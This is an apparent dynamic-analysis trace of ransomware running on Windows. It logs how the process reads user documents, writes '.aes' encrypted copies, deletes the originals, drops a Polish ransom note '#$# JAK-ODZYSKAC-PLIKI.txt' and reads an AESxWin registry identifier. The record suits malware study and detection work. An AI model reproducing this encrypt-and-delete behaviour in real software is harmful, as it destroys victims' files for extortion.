File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 2241 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 2529 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\URm66b8mfK_B.docx True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 3669 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 3953 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\vfwuhDCvzF0GRto.pptx True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 3718 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 4001 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\wVF JPe1b.xls True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\OXq6TNDno0\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes True 1
Fn
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 1950 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf, size = 4096, size_out = 0 True 1
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 2225 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf.aes, size = 33 True 1
Fn
Data
File Delete filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\n1mKD81VKeIa7S2.rtf True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_attributes False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\SOFTWARE\AESxWin, value_name = ComputerId, data = 0b75c6dd-d172-492e-b7be-2c05de30e808, type = REG_SZ True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, type = file_type True 2
Fn
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\#$# JAK-ODZYSKAC-PLIKI.txt, size = 2604 True 1
Fn
Data
System Sleep duration = 20 milliseconds (0.020 seconds) True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, type = file_attributes True 1
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, type = file_type True 2
Fn
File Create filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, type = file_type True 2
Fn
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 2
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc.aes, size = 4096 True 1
Fn
Data
File Read filename = C:\Users\kFT6uTQW\Documents\6_UYmFiKKpct\qa6QFkq\ORRmspMNhOgtvaB.doc, size = 4096, size_out = 4096 True 1
Fn
Data
